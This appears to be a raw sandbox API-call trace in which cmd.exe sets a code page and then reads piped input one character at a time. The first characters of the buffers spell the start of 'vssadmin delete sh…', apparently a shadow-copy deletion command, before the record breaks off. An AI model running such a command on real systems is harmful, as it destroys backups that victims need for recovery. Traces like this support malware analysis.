[0196.572] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0196.575] GetProcessHeap () returned 0x3f0000 [0196.575] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40b370 | out: hHeap=0x3f0000) returned 1 [0196.575] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cf378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf338 | out: lpAttributeList=0x2cf378, lpSize=0x2cf338) returned 1 [0196.575] UpdateProcThreadAttribute (in: lpAttributeList=0x2cf378, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cf378, lpPreviousValue=0x0) returned 1 [0196.575] GetStartupInfoW (in: lpStartupInfo=0x2cf490 | out: lpStartupInfo=0x2cf490*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0196.575] GetProcessHeap () returned 0x3f0000 [0196.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x404660 [0196.575] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0196.576] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0196.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0196.578] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0196.578] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0196.578] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0196.578] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0196.578] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0196.578] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0196.578] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0196.579] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0196.579] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0196.579] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0196.579] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0196.579] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0196.580] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0196.580] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0196.580] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0196.580] GetProcessHeap () returned 0x3f0000 [0196.580] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404660 | out: hHeap=0x3f0000) returned 1 [0196.580] GetProcessHeap () returned 0x3f0000 [0196.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x408940 [0196.580] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2cf3b0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf360 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x2cf360*(hProcess=0x54, hThread=0x50, dwProcessId=0x684, dwThreadId=0x688)) returned 1 [0197.618] CloseHandle (hObject=0x50) returned 1 [0197.618] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0197.618] GetProcessHeap () returned 0x3f0000 [0197.619] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x408aa0 | out: hHeap=0x3f0000) returned 1 [0197.619] GetEnvironmentStringsW () returned 0x408aa0* [0197.619] GetProcessHeap () returned 0x3f0000 [0197.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xafc) returned 0x40b370 [0197.619] FreeEnvironmentStringsW (penv=0x408aa0) returned 1 [0197.619] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x773b0000 [0197.620] GetProcAddress (hModule=0x773b0000, lpProcName="NtQueryInformationProcess") returned 0x774014a0 [0197.620] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2cec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2cec68, ReturnLength=0x0) returned 0x0 [0197.621] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x2ceca0, nSize=0x380, lpNumberOfBytesRead=0x2cec60 | out: lpBuffer=0x2ceca0*, lpNumberOfBytesRead=0x2cec60*=0x380) returned 1 [0197.621] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0206.377] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cf2a8 | out: lpExitCode=0x2cf2a8*=0x0) returned 1 [0206.377] CloseHandle (hObject=0x54) returned 1 [0206.377] _vsnwprintf (in: _Buffer=0x2cf518, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cf2b8 | out: _Buffer="00000000") returned 8 [0206.377] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0206.378] GetProcessHeap () returned 0x3f0000 [0206.378] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40b370 | out: hHeap=0x3f0000) returned 1 [0206.378] GetEnvironmentStringsW () returned 0x40e9b0* [0206.378] GetProcessHeap () returned 0x3f0000 [0206.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb22) returned 0x40f4e0 [0206.378] FreeEnvironmentStringsW (penv=0x40e9b0) returned 1 [0206.378] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0206.378] GetProcessHeap () returned 0x3f0000 [0206.378] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40f4e0 | out: hHeap=0x3f0000) returned 1 [0206.378] GetEnvironmentStringsW () returned 0x40e9b0* [0206.378] GetProcessHeap () returned 0x3f0000 [0206.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb22) returned 0x40f4e0 [0206.379] FreeEnvironmentStringsW (penv=0x40e9b0) returned 1 [0206.379] GetProcessHeap () returned 0x3f0000 [0206.379] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x408940 | out: hHeap=0x3f0000) returned 1 [0206.379] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cf378 | out: lpAttributeList=0x2cf378) [0206.379] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0206.381] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.381] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0206.381] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.381] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a1ee194 | out: lpMode=0x4a1ee194) returned 0 [0206.382] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.382] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a1ee198 | out: lpMode=0x4a1ee198) returned 0 [0206.383] GetConsoleOutputCP () returned 0x4e3 [0206.383] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a1fbfe0 | out: lpCPInfo=0x4a1fbfe0) returned 1 [0206.385] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0206.385] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409d80 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409c60 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bb0 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40b310 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409900 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40aae0 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406550 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.386] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404630 | out: hHeap=0x3f0000) returned 1 [0206.386] GetProcessHeap () returned 0x3f0000 [0206.387] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x409840 | out: hHeap=0x3f0000) returned 1 [0206.387] _vsnwprintf (in: _Buffer=0x4a206340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf7d8 | out: _Buffer="\r\n") returned 2 [0206.387] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.387] GetFileType (hFile=0xf4) returned 0x3 [0206.387] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.387] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0206.387] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cf7a8*=0x2, lpOverlapped=0x0) returned 1 [0206.388] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0206.388] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a1fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0206.388] _vsnwprintf (in: _Buffer=0x4a1eeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf7e8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0206.388] _vsnwprintf (in: _Buffer=0x4a1eeb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2cf7e8 | out: _Buffer=">") returned 1 [0206.388] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.388] GetFileType (hFile=0xf4) returned 0x3 [0206.389] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.389] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0206.389] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2cf7d8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cf7d8*=0x14, lpOverlapped=0x0) returned 1 [0206.389] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.389] GetFileType (hFile=0xe8) returned 0x3 [0206.389] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.389] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.390] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.390] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0206.390] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.390] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.390] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.390] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0206.390] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.390] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.390] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.391] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0206.391] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.391] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.392] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.392] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0206.392] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.392] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.392] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.392] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0206.392] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.392] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.393] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.393] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0206.393] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.393] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.393] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.393] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0206.394] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.394] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.394] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.394] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0206.394] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.394] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.394] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.396] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0206.396] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.396] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.396] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.396] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0206.396] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.396] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.396] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.397] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0206.397] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.397] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.397] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.397] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0206.397] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.397] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.398] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.398] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0206.398] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.398] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.398] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.398] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0206.398] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.399] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.399] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.399] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0206.399] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.399] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.399] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.399] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0206.400] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.400] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.400] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.400] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0206.400] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.400] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.400] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0206.400] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0206.401] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.401] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 